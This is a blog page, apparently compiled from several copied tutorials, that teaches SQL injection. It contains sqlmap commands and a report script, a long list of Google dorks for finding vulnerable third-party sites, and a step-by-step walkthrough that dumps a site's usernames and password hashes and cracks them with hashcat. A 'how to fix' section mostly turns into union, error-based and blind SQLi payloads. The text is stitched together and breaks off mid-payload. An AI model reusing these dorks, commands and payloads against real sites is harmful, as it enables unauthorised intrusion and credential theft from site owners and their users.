Showing posts with label sql injection. Show all posts
Showing posts with label sql injection. Show all posts

Friday, 28 August 2015

Sql injection Tutorial

HI friends

if you were buzzed about how to simulate sql injection or attack/test a website using sql injection this article is for u

There were several tools to perform sql injection ,but inorder to automate there were tools like : sqlmap,bbqsql etc

SQLMap Tutorial :

   For your reference of sqlmap cheatsheet available over here

The simple command to test using sqlmap was as follows :

python sqlmap.py -v 2 --url=http://mysite.com/index --user-agent=SQLMAP --delay=1 --timeout=15 --retries=2 
--keep-alive --threads=5 --eta --batch --dbms=MySQL --os=Linux --level=5 --risk=4 --banner --is-dba --dbs --tables --technique=BEUST 
-s /tmp/scan_report.txt --flush-session -t /tmp/scan_trace.txt --fresh-queries > /tmp/scan_out.txt
 
 
if you were using kali linux(All in single line) paste it to terminal  :

 sqlmap  -v 2 --url=http://mysite.com/index --user-agent=SQLMAP --delay=1 --timeout=15 --retries=2 --keep-alive --threads=5 --eta --batch --dbms=MySQL --os=Linux --level=5 --risk=4 --banner --is-dba --dbs --tables --technique=BEUST -s /tmp/scan_report.txt --flush-session -t /tmp/scan_trace.txt --fresh-queries > /tmp/scan_out.txt
 From owsap the explanation would be as follows :



Options used to specify HTTP communication behaviors:

Options used to specify audit behaviors:

Options used to specify scan information's' saving behaviors:

Extract from SQLMap documentation about SQL injection techniques identified by B/E/U/S/T (http://sqlmap.sourceforge.net/doc/README.html#toc1.3):
[B]oolean-based blind SQL injection, also known as inferential SQL injection: sqlmap replaces or appends to the affected parameter
 in the HTTP request, a syntatically valid SQL statement string containing a SELECT sub-statement, or any other SQL statement whose
 the user want to retrieve the output. For each HTTP response, by making a comparison between the HTTP response headers/body with 
the original request, the tool inference the output of the injected statement character by character. Alternatively, the user can 
provide a string or regular expression to match on True pages. The bisection algorithm implemented in sqlmap to perform this technique 
is able to fetch each character of the output with a maximum of seven HTTP requests. Where the output is not within the clear-text plain 
charset, sqlmap will adapt the algorithm with bigger ranges to detect the output.

[E]rror-based SQL injection: sqlmap replaces or append to the affected parameter a database-specific syntatically wrong statement and
 parses the HTTP response headers and body in search of DBMS error messages containing the injected pre-defined chain of characters and 
the statement output within. This technique works when the web application has been configured to disclose back-end database management 
system error messages only.

[U]NION query SQL injection, also known as inband SQL injection: sqlmap appends to the affected parameter a syntatically valid SQL statement
 string starting with a UNION ALL SELECT. This techique works when the web application page passes the output of the SELECT statement within 
a for cycle, or similar, so that each line of the query output is printed on the page content. sqlmap is also able to exploit partial 
(single entry) UNION query SQL injection vulnerabilities which occur when the output of the statement is not cycled in a for construct 
whereas only the first entry of the query output is displayed.

[S]tacked queries SQL injection, also known as multiple statements SQL injection: sqlmap tests if the web application supports stacked queries
 then, in case it does support, it appends to the affected parameter in the HTTP request, a semi-colon (;) followed by the SQL statement to be
 executed. This technique is useful to run SQL statements other than SELECT like, for instance, data definition or data manipulation statements 
possibly leading to file system read and write access and operating system command execution depending on the underlying back-end database
management system and the session user privileges.

[T]ime-based blind SQL injection, also known as full blind SQL injection: sqlmap replaces or appends to the affected parameter in the HTTP request,
 a syntatically valid SQL statement string containing a query which put on hold the back-end DBMS to return for a certain number of seconds. 
For each HTTP response, by making a comparison between the HTTP response time with the original request, the tool inference the output of
 the injected statement character by character. Like for boolean-based technique, the bisection algorithm is applied.

Report

The python script below can be used to generate a HTML report from the stdout of the command line (redirected to "/tmp/scan_out.txt" in the SQLMap command line):
###########################################
# Script to generate a HTML report from a 
# SQLMap stdout output
#
# Author : Dominique Righetto 
#          dominique.righetto@owasp.org
# Date   : March 2012
###########################################
import sys
#I/O paths, take SQLMap STDOUT file from script parameter
stdout_file_path = sys.argv[1]
report_file_path = stdout_file_path + ".html"
#Open STDOUT file in read mode
file_handle_read = open(stdout_file_path,"r")
#Open REPORT file in write mode
file_handle_write = open(report_file_path,"w")
#Initialize HTML report stream
file_handle_write.write("<html xmlns=\"http://www.w3.org/1999/xhtml\" lang=\"en\" xml:lang=\"en\">")
file_handle_write.write("<head><link rel=\"StyleSheet\" href=\"style.css\" type=\"text/css\" media=\"screen\" /><title>SQLMap HTML Report</title></head>")
file_handle_write.write("<body><table id=\"myStyle\">")
file_handle_write.write("<thead><tr><th scope=\"col\">Test datetime</th><th scope=\"col\">Test description</th></tr></thead>")
file_handle_write.write("<tbody>")
#Flag to know is global audit is OK
cannot_find_injectable_parameter = False
#Read STDOUT file line by line
for line in file_handle_read:
    if (line.strip().startswith("[")) and (line.find("[*]") == -1):
        #Check for special message indicating audit global status
        if(line.lower().find("all parameters are not injectable") > -1):
            cannot_find_injectable_parameter = True
        #Report generation
        line_part = line.strip().split(" ") 
        if (line_part[2].lower() == "testing"):
            #Extract useful informations
            execution_datatime = line_part[0]
            execution_trace = ""
            count = 2
            while(count < len(line_part)):
                execution_trace = execution_trace + " " + line_part[count]
                count = count + 1 
            #Write report HTML line
            file_handle_write.write("<tr><td>" + line_part[0] + "</td><td>" + execution_trace + "</td></tr>")                
file_handle_write.write("</tbody></table>")        
#Write global audit stauts line
if(cannot_find_injectable_parameter):
    file_handle_write.write("<h1 class=\"success\">SQLMap cannot find injectable parameters !</h1>")
else:
    file_handle_write.write("<h1 class=\"fail\">SQLMap can find injectable parameters !</h1>")
#Finalize report HTML stream
file_handle_write.write("</body></html>")
#Close I/O stream    
file_handle_write.close()
file_handle_read.close()
#Print some informations
print "Report generated to " + report_file_path 
To generate the report use the command line below:
python SQMReportGenerator.py /tmp/scan_out.txt
The report will be generated into the same location than the input file using source file name and adding ".html" extension as report name.
The script use an external CSS file named "style.css" (located into the same location than the report) to format report.
A CSS sample is available below:
body
{
 line-height: 1.6em; 
}
.success
{
 font-family: "Lucida Sans Unicode", "Lucida Grande", Sans-Serif;
 text-align: center;
 color: green;
}
.fail
{
 font-family: "Lucida Sans Unicode", "Lucida Grande", Sans-Serif;
 text-align: center;
 color: red;
}
#myStyle
{
 font-family: "Lucida Sans Unicode", "Lucida Grande", Sans-Serif;
 font-size: 12px;
 margin: 45px;
 width: 75%;
 text-align: left;
 border-collapse: collapse;
 border: 1px solid #6cf;
}
#myStyle th
{
 padding: 20px;
 font-weight: normal;
 font-size: 13px;
 color: #039;
 text-transform: uppercase;
 text-align: center;
 border-right: 1px solid #0865c2;
 border-top: 1px solid #0865c2;
 border-left: 1px solid #0865c2;
 border-bottom: 1px solid #fff;
}
#myStyle td
{
 padding: 10px 20px;
 color: #669;
 border-right: 1px dashed #6cf;
}
Example of generated report:
SQLMapExampleReport.png

Remark about scan scheduling

The scan take a while then it's recommended to schedule is execution:
  • During the night for a daily audit case.
  • During the week-end for a weekly audit case. 

if you were looking for practical example this would be a good one :


What is SQLMAP

sqlmap is an open source penetration testing tool that automates the process of detecting and exploiting SQL injection flaws and taking over of database servers. It comes with a powerful detection engine, many niche features for the ultimate penetration tester and a broad range of switches lasting from database fingerprinting, over data fetching from the database, to accessing the underlying file system and executing commands on the operating system via out-of-band connections.

Features

  1. Full support for MySQL, Oracle, PostgreSQL, Microsoft SQL Server, Microsoft Access, IBM DB2, SQLite, Firebird, Sybase and SAP MaxDB database management systems.
  2. Full support for six SQL injection techniques: boolean-based blind, time-based blind, error-based, UNION query, stacked queries and out-of-band.
  3. Support to directly connect to the database without passing via a SQL injection, by providing DBMS credentials, IP address, port and database name.
  4. Support to enumerate users, password hashes, privileges, roles, databases, tables and columns.
  5. Automatic recognition of password hash formats and support for cracking them using a dictionary-based attack.
  6. Support to dump database tables entirely, a range of entries or specific columns as per user’s choice. The user can also choose to dump only a range of characters from each column’s entry.
  7. Support to search for specific database names, specific tables across all databases or specific columns across all databases’ tables. This is useful, for instance, to identify tables containing custom application credentials where relevant columns’ names contain string like name and pass.
  8. Support to download and upload any file from the database server underlying file system when the database software is MySQL, PostgreSQL or Microsoft SQL Server.
  9. Support to execute arbitrary commands and retrieve their standard output on the database server underlying operating system when the database software is MySQL, PostgreSQL or Microsoft SQL Server.
  10. Support to establish an out-of-band stateful TCP connection between the attacker machine and the database server underlying operating system. This channel can be an interactive command prompt, a Meterpreter session or a graphical user interface (VNC) session as per user’s choice.
  11. Support for database process’ user privilege escalation via Metasploit’s Meterpreter getsystem command.
[Source: www.sqlmap.org]Be considerate to the user who spends time and effort to put up a website and possibly depends on it to make his days end. Your actions might impact someone is a way you never wished for. I think I can’t make it anymore clearer.
So here goes:

Step 1: Find a Vulnerable Website

This is usually the toughest bit and takes longer than any other steps. Those who know how to use Google Dorks knows this already, but in case you don’t I have put together a number of strings that you can search in Google. Just copy paste any of the lines in Google and Google will show you a number of search results.

Step 1.a: Google Dorks strings to find Vulnerable SQLMAP SQL injectable website

This list a really long.. Took me a long time to collect them. If you know SQL, then you can add more here.. Put them in comment section and I will add them here.

Google Dork string Column 1Google Dork string Column 2Google Dork string Column 3
inurl:item_id=inurl:review.php?id=inurl:hosting_info.php?id=
inurl:newsid=inurl:iniziativa.php?in=inurl:gallery.php?id=
inurl:trainers.php?id=inurl:curriculum.php?id=inurl:rub.php?idr=
inurl:news-full.php?id=inurl:labels.php?id=inurl:view_faq.php?id=
inurl:news_display.php?getid=inurl:story.php?id=inurl:artikelinfo.php?id=
inurl:index2.php?option=inurl:look.php?ID=inurl:detail.php?ID=
inurl:readnews.php?id=inurl:newsone.php?id=inurl:index.php?=
inurl:top10.php?cat=inurl:aboutbook.php?id=inurl:profile_view.php?id=
inurl:newsone.php?id=inurl:material.php?id=inurl:category.php?id=
inurl:event.php?id=inurl:opinions.php?id=inurl:publications.php?id=
inurl:product-item.php?id=inurl:announce.php?id=inurl:fellows.php?id=
inurl:sql.php?id=inurl:rub.php?idr=inurl:downloads_info.php?id=
inurl:index.php?catid=inurl:galeri_info.php?l=inurl:prod_info.php?id=
inurl:news.php?catid=inurl:tekst.php?idt=inurl:shop.php?do=part&id=
inurl:index.php?id=inurl:newscat.php?id=inurl:productinfo.php?id=
inurl:news.php?id=inurl:newsticker_info.php?idn=inurl:collectionitem.php?id=
inurl:index.php?id=inurl:rubrika.php?idr=inurl:band_info.php?id=
inurl:trainers.php?id=inurl:rubp.php?idr=inurl:product.php?id=
inurl:buy.php?category=inurl:offer.php?idf=inurl:releases.php?id=
inurl:article.php?ID=inurl:art.php?idm=inurl:ray.php?id=
inurl:play_old.php?id=inurl:title.php?id=inurl:produit.php?id=
inurl:declaration_more.php?decl_id=inurl:news_view.php?id=inurl:pop.php?id=
inurl:pageid=inurl:select_biblio.php?id=inurl:shopping.php?id=
inurl:games.php?id=inurl:humor.php?id=inurl:productdetail.php?id=
inurl:page.php?file=inurl:aboutbook.php?id=inurl:post.php?id=
inurl:newsDetail.php?id=inurl:ogl_inet.php?ogl_id=inurl:viewshowdetail.php?id=
inurl:gallery.php?id=inurl:fiche_spectacle.php?id=inurl:clubpage.php?id=
inurl:article.php?id=inurl:communique_detail.php?id=inurl:memberInfo.php?id=
inurl:show.php?id=inurl:sem.php3?id=inurl:section.php?id=
inurl:staff_id=inurl:kategorie.php4?id=inurl:theme.php?id=
inurl:newsitem.php?num=inurl:news.php?id=inurl:page.php?id=
inurl:readnews.php?id=inurl:index.php?id=inurl:shredder-categories.php?id=
inurl:top10.php?cat=inurl:faq2.php?id=inurl:tradeCategory.php?id=
inurl:historialeer.php?num=inurl:show_an.php?id=inurl:product_ranges_view.php?ID=
inurl:reagir.php?num=inurl:preview.php?id=inurl:shop_category.php?id=
inurl:Stray-Questions-View.php?num=inurl:loadpsb.php?id=inurl:transcript.php?id=
inurl:forum_bds.php?num=inurl:opinions.php?id=inurl:channel_id=
inurl:game.php?id=inurl:spr.php?id=inurl:aboutbook.php?id=
inurl:view_product.php?id=inurl:pages.php?id=inurl:preview.php?id=
inurl:newsone.php?id=inurl:announce.php?id=inurl:loadpsb.php?id=
inurl:sw_comment.php?id=inurl:clanek.php4?id=inurl:pages.php?id=
inurl:news.php?id=inurl:participant.php?id=
inurl:avd_start.php?avd=inurl:download.php?id=
inurl:event.php?id=inurl:main.php?id=
inurl:product-item.php?id=inurl:review.php?id=
inurl:sql.php?id=inurl:chappies.php?id=
inurl:material.php?id=inurl:read.php?id=
inurl:clanek.php4?id=inurl:prod_detail.php?id=
inurl:announce.php?id=inurl:viewphoto.php?id=
inurl:chappies.php?id=inurl:article.php?id=
inurl:read.php?id=inurl:person.php?id=
inurl:viewapp.php?id=inurl:productinfo.php?id=
inurl:viewphoto.php?id=inurl:showimg.php?id=
inurl:rub.php?idr=inurl:view.php?id=
inurl:galeri_info.php?l=inurl:website.php?id=

Step 1.b: Initial check to confirm if website is vulnerable to SQLMAP SQL Injection

For every string show above, you will get huundreds of search results. How do you know which is really vulnerable to SQLMAP SQL Injection. There’s multiple ways and I am sure people would argue which one is best but to me the following is the simplest and most conclusive.
Let’s say you searched using this string inurl:item_id= and one of the search result shows a website like this:
http://www.sqldummywebsite.com/cgi-bin/item.cgi?item_id=15
Just add a single quotation mark ' at the end of the URL. (Just to ensure, " is a double quotation mark and ' is a single quotation mark).
So now your URL will become like this:
http://www.sqldummywebsite.com/cgi-bin/item.cgi?item_id=15'
If the page returns an SQL error, the page is vulnerable to SQLMAP SQL Injection. If it loads or redirect you to a different page, move on to the next site in your Google search results page.
See example error below in the screenshot. I’ve obscured everything including URL and page design for obvious reasons.
use-sqlmap-sql-injection-to-hack-a-website-and-database-blackmore-ops-1
Examples of SQLi Errors from Different Databases and Languages

Microsoft SQL Server

Server Error in ‘/’ Application. Unclosed quotation mark before the character string ‘attack;’.
Description: An unhanded exception occurred during the execution of the current web request. Please review the stack trace for more information about the error where it originated in the code.
Exception Details: System.Data.SqlClient.SqlException: Unclosed quotation mark before the character string ‘attack;’.

MySQL Errors

Warning: mysql_fetch_array(): supplied argument is not a valid MySQL result resource in /var/www/myawesomestore.com/buystuff.php on line 12
Error: You have an error in your SQL syntax: check the manual that corresponds to your MySQL server version for the right syntax to use near ‘’’ at line 12

Oracle Errors

java.sql.SQLException: ORA-00933: SQL command not properly ended at oracle.jdbc.dbaaccess.DBError.throwSqlException(DBError.java:180) at oracle.jdbc.ttc7.TTIoer.processError(TTIoer.java:208)
Error: SQLExceptionjava.sql.SQLException: ORA-01756: quoted string not properly terminated

PostgreSQL Errors

Query failed: ERROR: unterminated quoted string at or near “‘’’”

Step 2: List DBMS databases using SQLMAP SQL Injection

As you can see from the screenshot above, I’ve found a SQLMAP SQL Injection vulnerable website. Now I need to list all the databases in that Vulnerable database. (this is also called enumerating number of columns). As I am using SQLMAP, it will also tell me which one is vulnerable.

Run the following command on your vulnerable website with.
sqlmap -u http://www.sqldummywebsite.com/cgi-bin/item.cgi?item_id=15 --dbs
In here:
sqlmap = Name of sqlmap binary file
-u = Target URL (e.g. “http://www.sqldummywebsite.com/cgi-bin/item.cgi?item_id=15”)
--dbs = Enumerate DBMS databases
See screenshot below.
use-sqlmap-sql-injection-to-hack-a-website-and-database-blackmore-ops-2

This commands reveals quite a few interesting info:
web application technology: Apache
back-end DBMS: MySQL 5.0
[10:55:53] [INFO] retrieved: information_schema
[10:55:56] [INFO] retrieved: sqldummywebsite
[10:55:56] [INFO] fetched data logged to text files under '/usr/share/sqlmap/output/www.sqldummywebsite.com'
So, we now have two database that we can look into. information_schema is a standard database for almost every MYSQL database. So our interest would be on sqldummywebsite database.

Step 3: List tables of target database using SQLMAP SQL Injection

Now we need to know how many tables this sqldummywebsite database got and what are their names. To find out that information, use the following command:
sqlmap -u http://www.sqldummywebsite.com/cgi-bin/item.cgi?item_id=15 -D sqldummywebsite --tables
Sweet, this database got 8 tables.
[10:56:20] [INFO] fetching tables for database: 'sqldummywebsite'
[10:56:22] [INFO] heuristics detected web page charset 'ISO-8859-2'
[10:56:22] [INFO] the SQL query used returns 8 entries
[10:56:25] [INFO] retrieved: item
[10:56:27] [INFO] retrieved: link
[10:56:30] [INFO] retrieved: other
[10:56:32] [INFO] retrieved: picture
[10:56:34] [INFO] retrieved: picture_tag
[10:56:37] [INFO] retrieved: popular_picture
[10:56:39] [INFO] retrieved: popular_tag
[10:56:42] [INFO] retrieved: user_info
use-sqlmap-sql-injection-to-hack-a-website-and-database-blackmore-ops-3
and of course we want to check whats inside user_info table using SQLMAP SQL Injection as that table probably contains username and passwords.

Step 4: List columns on target table of selected database using SQLMAP SQL Injection

Now we need to list all the columns on target table user_info of sqldummywebsite database using SQLMAP SQL Injection. SQLMAP SQL Injection makes it really easy, run the following command:

sqlmap -u http://www.sqldummywebsite.com/cgi-bin/item.cgi?item_id=15 -D sqldummywebsite -T user_info --columns

This returns 5 entries from target table user_info of sqldummywebsite database.
[10:57:16] [INFO] fetching columns for table 'user_info' in database 'sqldummywebsite'
[10:57:18] [INFO] heuristics detected web page charset 'ISO-8859-2'
[10:57:18] [INFO] the SQL query used returns 5 entries
[10:57:20] [INFO] retrieved: user_id
[10:57:22] [INFO] retrieved: int(10) unsigned
[10:57:25] [INFO] retrieved: user_login
[10:57:27] [INFO] retrieved: varchar(45)
[10:57:32] [INFO] retrieved: user_password
[10:57:34] [INFO] retrieved: varchar(255)
[10:57:37] [INFO] retrieved: unique_id
[10:57:39] [INFO] retrieved: varchar(255)
[10:57:41] [INFO] retrieved: record_status
[10:57:43] [INFO] retrieved: tinyint(4)

AHA! This is exactly what we are looking for … target table user_login and user_password .
use-sqlmap-sql-injection-to-hack-a-website-and-database-blackmore-ops-4

Step 5: List usernames from target columns of target table of selected database using SQLMAP SQL Injection

SQLMAP SQL Injection makes is Easy! Just run the following command again:
sqlmap -u http://www.sqldummywebsite.com/cgi-bin/item.cgi?item_id=15 -D sqldummywebsite -T user_info -C user_login --dump

Guess what, we now have the username from the database:
[10:58:39] [INFO] retrieved: userX
[10:58:40] [INFO] analyzing table dump for possible password hashes
use-sqlmap-sql-injection-to-hack-a-website-and-database-blackmore-ops-5

Almost there, we now only need the password to for this user.. Next shows just that..

Step 6: Extract password from target columns of target table of selected database using SQLMAP SQL Injection

You’re probably getting used to on how to use SQLMAP SQL Injection tool. Use the following command to extract password for the user.
sqlmap -u http://www.sqldummywebsite.com/cgi-bin/item.cgi?item_id=15 -D sqldummywebsite -T user_info -C user_password --dump

TADA!! We have password.
[10:59:15] [INFO] the SQL query used returns 1 entries
[10:59:17] [INFO] retrieved: 24iYBc17xK0e.
[10:59:18] [INFO] analyzing table dump for possible password hashes
Database: sqldummywebsite
Table: user_info
[1 entry]
+---------------+
| user_password |
+---------------+
| 24iYBc17xK0e. |
+---------------+

use-sqlmap-sql-injection-to-hack-a-website-and-database-blackmore-ops-6

But hang on, this password looks funny. This can’t be someone’s password.. Someone who leaves their website vulnerable like that just can’t have a password like that.
That is exactly right. This is a hashed password. What that means, the password is encrypted and now we need to decrypt it.
I have covered how to decrypt password extensively on this Cracking MD5, phpBB, MySQL and SHA1 passwords with Hashcat on Kali Linux post. If you’ve missed it, you’re missing out a lot.

I will cover it in short here but you should really learn how to use hashcat.

Step 7: Cracking password

So the hashed password is 24iYBc17xK0e. . How do you know what type of hash is that?

Step 7.a: Identify Hash type

Luckily, Kali Linux provides a nice tool and we can use that to identify which type of hash is this. In command line type in the following command and on prompt paste the hash value:
hash-identifier

use-sqlmap-sql-injection-to-hack-a-website-and-database-blackmore-ops-7
Excellent. So this is DES(Unix) hash.

Step 7.b: Crack HASH using cudahashcat

First of all I need to know which code to use for DES hashes. So let’s check that:
cudahashcat --help | grep DES

use-sqlmap-sql-injection-to-hack-a-website-and-database-blackmore-ops-8
So it’s either 1500 or 3100. But it was a MYSQL Database, so it must be 1500.
I am running a Computer thats got NVIDIA Graphics card. That means I will be using cudaHashcat. On my laptop, I got an AMD ATI Graphics cards, so I will be using oclHashcat on my laptop. If you’re on VirtualBox or VMWare, neither cudahashcat nor oclhashcat will work. You must install Kali in either a persisitent USB or in Hard Disk. Instructions are in the website, search around.
I saved the hash value 24iYBc17xK0e. in DES.hash file. Following is the command I am running:
cudahashcat -m 1500 -a 0 /root/sql/DES.hash /root/sql/rockyou.txt

use-sqlmap-sql-injection-to-hack-a-website-and-database-blackmore-ops-9
Interesting find: Usuaul Hashcat was unable to determine the code for DES hash. (not in it’s help menu). Howeverm both cudaHashcat and oclHashcat found and cracked the key.
Anyhow, so here’s the cracked password: abc123. 24iYBc17xK0e.:abc123
Sweet, we now even have the password for this user.


Note : If you were using kali linux 2.0 then cudahashcat would be "hashcat"

source : darkmeops,owsap,stackoverflow
hope it helps

How to fix sql injection ?

In my previous post i explained what is sql injection,now in this article i deal with how to fix the sql injection..

In general the precautions need to be taken were :
  • You can prevent SQL injection if you adopt an input validation technique in which user input is authenticated against a set of defined rules for length, type and syntax and also against business rules.
  • You should ensure that users with the permission to access the database have the least privileges. Additionally, do not use system administrator accounts like “sa” for web applications. Also, you should always make sure that a database user is created only for a specific application and this user is not able to access other applications. Another method for preventing SQL injection attacks is to remove all stored procedures that are not in use.
  • Use strongly typed parameterized query APIs with placeholder substitution markers, even when calling stored procedures.
  • Show care when using stored procedures since they are generally safe from injection. However, be careful as they can be injectable (such as via the use of exec() or concatenating arguments within the stored procedure).

SQL injection is a particularly interesting risk for a few different reasons:
  1. It’s getting increasingly harder to write vulnerable code due to frameworks that automatically parameterise inputs – yet we still write bad code.
  2. You’re not necessarily in the clear just because you use stored procedures or a shiny ORM (you’re aware that SQLi can still get through these, right?) – we still build vulnerable apps around these mitigations.
  3. It’s easily detected remotely by automated tools which can be orchestrated to crawl the web searching for vulnerable sites – yet we’re still putting them out there.
It remains number one on the OWASP Top 10 for a very good reason – it’s common, it’s very easy to exploit and the impact of doing so is severe. One little injection risk in one little feature is often all it takes to disclose every piece of data in the whole system – and I’m going to show you how to do this yourself using a raft of different techniques.
I demonstrated how to protect against SQLi a couple of years back when I wrote about the OWASP Top 10 for .NET developers so I’m not going to focus on mitigation here, this is all about exploiting. But enough of the boring defending stuff, let’s go break things!

All your datas are belong to us (if we can break into the query context)

Let’s do a quick recap on what it is that makes SQLi possible. In a nutshell, it’s about breaking out of the data context and entering the query context. Let me visualise this for you; say you have URL that includes a query string parameter such as “id=1” and that parameter makes its way down into a SQL query such as this:
SELECT * FROM Widget WHERE ID = 1
The entire URL probably looked something like this:
http://widgetshop.com/Widget/?id=1
Pretty basic stuff, where it starts to get interesting is when you can manipulate the data in the URL such that it changes the value passed to the query. Ok, changing “1” to “2” will give you a different widget and that’s to be expected, but what if you did this:
http://widgetshop.com/widget/?id=1 or 1=1
That might then persist through to the database server like so:
SELECT * FROM Widget WHERE ID = 1 OR 1=1
What this tells us is that the data is not being sanitised – in the examples above the ID should clearly be an integer yet the value “1 OR 1=1” has been accepted. More importantly though, because this data has simply been appended to the query it has been able to change the function of the statement. Rather than just selecting a single record, this query will now select all records as the “1=1” statement will always be true. Alternatively, we could force the page to return no records by changing “or 1=1” to “and 1=2” as it will always be false hence no results. Between these two alternatives we can easily assess if the app is at risk of an injection attack.
This is the essence of SQL injection – manipulating query execution with untrusted data – and it happens when developers do things like this:
query = "SELECT * FROM Widget WHERE ID = "+ Request.QueryString["ID"];// Execute the query...
Of course what they should be doing is parameterising the untrusted data but I’m not going to go into that here (refer back to part one of my OWASP series for more info on mitigation), instead I want to talk more about exploiting SQLi.
Ok, so that background covers how to demonstrate that a risk is present, but what can you now do with it? Let’s start exploring some common injection patterns.

Joining the dots: Union query-based injection

Let’s take an example where we expect a set of records to be returned to the page, in this case it’s a list of widgets of “TypeId” 1 on a URL like this:
http://widgetshop.com/Widgets/?TypeId=1
The result on the page then looks like so:
3 widgets returned to the page
We’d expect that query to look something like this once it hits the database:
SELECT Name FROM Widget WHERE TypeId = 1
But if we can apply what I’ve outlined above, namely that we might be able to just append SQL to the data in the query string, we might be able to do something like this:
http://widgetshop.com/Widgets/?TypeId=1 union all select name from sysobjects where xtype='u'
Which would then create a SQL query like so:
SELECT Name FROM Widget WHERE TypeId = 1 union all select name from sysobjects where xtype='u'
Now keep in mind that the sysobjects table is the one that lists all the objects in the database and in this case we’re filtering that list by xtype “u” or in other words, user tables. When an injection risk is present that would mean the following output:
3 widgets returned to the page followed by 2 internal table names
This is what’s referred to as a union query-based injection attack as we’ve simply appended an additional result set to the original and its made its way out directly into the HTML output – easy! Now that we know there’s a table called “User” we could do something like this:
http://widgetshop.com/Widgets/?TypeId=1 union all select password from [user]
SQL Server gets a bit uppity if the table name of “user” is not enclosed in square brackets given the word has other meanings in the DB sense. Regardless, here’s what that gives us:
3 widgets returned to the page followed by a password
Of course the UNION ALL statement only works when the first SELECT statement has the same number of columns as the second. That’s easily discoverable though, you just try going with a bit of ”union all select ‘a’” then if that fails “union all select ‘a’, ‘b’” and so on. Basically you’re just guessing the number of columns until things work.
We could go on and on down this path and pull back all sorts of other data, let’s move on to the next attack though. There are times when a union-based attack isn’t going to play ball either due to sanitisation of the input or how the data is appended to the query or even how the result set is displayed to the page. To get around that we’re going to need to get a bit more creative.

Making the app squeal: Error-based injection

Let’s try another pattern – what if we did this:
http://widgetshop.com/widget/?id=1 or x=1
Hang on, that’s not valid SQL syntax, the “x=1” piece won’t compute, at least not unless there’s a column called “x” so won’t it just throw an exception? Precisely, in fact it means you’ll see an exception like this:
Invalid column name 'x'
This an ASP.NET error and other frameworks have similar paradigms but the important thing is that the error message is disclosing information about the internal implementation, namely that there is no column called “x”. Why is this important? It’s fundamentally important because once you establish that an app is leaking SQL exceptions, you can do things like this:
http://widgetshop.com/widget/?id=convert(int,(select top 1 name from sysobjects where id=(select top 1 id from (select top 1 id from sysobjects where xtype='u' order by id) sq order by id DESC)))
That’s a lot to absorb and I’ll come back to it in more detail, the important thing is though that it will yield this result in the browser:
Conversion failed when converting the varchar value 'Widget' to data type int.
And there we have it, we’ve now discovered that there is a table in the database called “Widget”. You’ll often see this referred to as “Error-based SQL injection” due to the dependency on internal errors. Let’s deconstruct the query from the URL:
convert(int, (
    select top 1 name from sysobjects where id=(
      select top 1 id from (
        select top 1 id from sysobjects where xtype='u' order by id
      ) sq order by id DESC
    )
  )
)
Working from the deepest nesting up, get the first record ID from the sysobjects table after ordering by ID. From that collection, get the last ID (this is why it orders in descending) and pass that into the top select statement. That top statement is then only going to take the table name and try to convert it to an integer. The conversion to integer will almost certainly fail (please people, don’t name your tables “1” or “2” or any other integer for that matter!) and that exception then discloses the table name in the UI.
Why three select statements? Because it means we can go into that innermost one and change “top 1” to “top 2” which then gives us this result:
Conversion failed when converting the varchar value 'User' to data type int.
Now we know that there’s a table called “User” in the database. Using this approach we can discover all the column names of each table (just apply the same logic to the syscolumns table). We can then extend that logic even further to select data from table columns:
Conversion failed when converting the varchar value 'P@ssw0rd' to data type int.
In the screen above, I’d already been able to discover that there was a table called “User” and a column called “Password”, all I needed to do was select out of that table (and again, you can enumerate through all records one by one with nested select statements), and cause an exception by attempting to convert the string to an int (you can always append an alpha char to the data if it really is an int then attempt to convert the whole lot to an int which will cause an exception). If you want to get a sense of just how easy this can be, I recorded a little video last year where I teach my 3 year old to automate this with Havij which uses the technique.
But there’s a problem with all this – it was only possible because the app was a bit naughty and exposed internal error messages to the general public. In fact the app quite literally told us the names of the tables and columns and then disclosed the data when we asked the right questions, but what happens when it doesn’t? I mean what happens when the app is correctly configured so as not to leak the details of internal exceptions?
This is where we get into “blind” SQL injection which is the genuinely interesting stuff.

Hacking blind

In the examples above (and indeed in many precedents of successful injection attacks), the attacks are dependent on the vulnerable app explicitly disclosing internal details either by joining tables and returning the data to the UI or by raising exceptions that bubble up to the browser. Leaking of internal implementations is always a bad thing and as you saw earlier, security misconfigurations such as this can be leveraged to disclose more than just the application structure, you can actually pull data out through this channel as well.
A correctly configured app should return a message more akin to this one here when an unhandled exception occurs:
Error. An error occurred while processing your request.
This is the default error page from a brand new ASP.NET app with custom errors configured but again, similar paradigms exist in other technology stacks. Now this page is exactly the same as the earlier ones that showed the internal SQL exceptions but rather than letting them bubble up to the UI they’re being hidden and a friendly error message shown instead. Assuming we also couldn’t exploit a union-based attack, the SQLi risk is entirely gone, right? Not quite…
Blind SQLi relies on us getting a lot more implicit or in other words, drawing our conclusions based on other observations we can make about the behaviour of the app that aren’t quite as direct as telling us table names or showing column data directly in the browser by way of unions or unhandled exceptions. Of course this now begs the question – how can we make the app behave in an observable fashion such that it discloses the information we had earlier without explicitly telling us?
We’re going to look at two approaches here: boolean-based and time-based.

Ask, and you shall be told: Boolean-based injection

This all comes down to asking the right questions of the app. Earlier on, we could explicitly ask questions such as “What tables do you have” or “What columns do you have in each table” and the database would explicitly tell us. Now we need to ask a little bit differently, for example like this:
http://widgetshop.com/widget/?id=1 and 1=2
Clearly this equivalency test can never be true – one will never be equal to two. How an app at risk of injection responds to this request is the cornerstone of blind SQLi and it can happen in one of two different ways.
Firstly, it might just throw an exception if no record is returned. Often developers will assume that a record referred to in a query string exists because it’s usually the app itself that has provided the link based on pulling it out of the database on another page. When there’s no record returned, things break. Secondly, the app might not throw an exception but then it also won’t display a record either because the equivalency is false. Either way, the app is implicitly telling us that no records were returned from the database.
Now let’s try this:
1 and
(
  select top 1 substring(name, 1, 1) from sysobjects where id=(
    select top 1 id from (
      select top 1 id from sysobjects where xtype='u' order by id
    ) sq order by id desc
  )
) = 'a'
Keeping in mind that this entire block replaces just the query string value so instead of “?id=1” it becomes “?id=1 and…”, it’s actually only a minor variation on the earlier requests intended to retrieve table names. In fact the main different is that rather than attempting to cause an exception by converting a string to an integer, it’s now an equivalency test to see if the first character of the table name is an “a” (we’re assuming a case-insensitive collation here). If this request gives us the same result as “?id=1” then it confirms that the first table in sysobjects does indeed begin with an “a” as the equivalency has held true. If it gives us one of the earlier mentioned two scenarios (an error or shows no record), then we know that the table doesn’t begin with an “a” as no record has been returned.
Now all of that only gives us the first character of the table name from sysobjects, when you want the second character then the substring statement needs to progress to the next position:
select top 1 substring(name, 2, 1) from sysobjects where id=(
